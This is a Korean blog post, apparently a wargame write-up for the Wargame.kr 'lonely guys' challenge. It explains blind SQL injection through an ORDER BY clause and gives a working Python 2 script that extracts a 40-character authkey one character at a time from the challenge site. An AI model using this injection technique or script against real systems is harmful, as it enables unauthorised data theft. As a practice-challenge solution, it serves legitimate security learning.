ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Wargame.kr lonely guys
    WebHacking/Wargame.kr 2018. 2. 26. 00:47


    이번 문제 주 핵심은 order by에서 일어나는 sql injection이다.

    order by에서 if와 서브 쿼리가 가능하기 때문에 이것을 이용하여서 문제를 풀 수 있다.
    테이블과 컬럼은 소스에서 authkey라고 알려주고 있기 때문에 간단하게 문제를 풀 수 있다.


    import urllib2
     
    password = ''
    pw_idx = 1
     
    temp = 48
     
    while True:
        url = 'http://wargame.kr:8080/lonely_guys/index.php'
        data = 'sort=,if((select ascii(substr(authkey,{0},1))={1}'.format(pw_idx,temp)
        data += ' from authkey),1,(select 1 union select 2))'
        req = urllib2.Request(url,data)
        req.add_header('User-Agent','Mozilla/5.0')
        req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
        read_data = urllib2.urlopen(req).read()
        print data
        if 'jacob' in read_data:
            password += chr(temp)
            print 'Search {0}'.format(password)
            temp = 48
            pw_idx += 1
            if pw_idx > 40#length(authkey) == 40 True
                break
        else:
            temp += 1
     
    print 'Success {0}'.format(password)
     
    cs


    'WebHacking > Wargame.kr' 카테고리의 다른 글

    Wargame.kr QnA  (0) 2018.02.27
    Wargame.kr ip log table  (0) 2018.02.26
    Wargame.kr dmbs335  (0) 2018.02.26
    Wargame.kr web chatting  (0) 2018.02.26
    Wargame.kr SimpleBoard  (0) 2018.02.26
Designed by Tistory.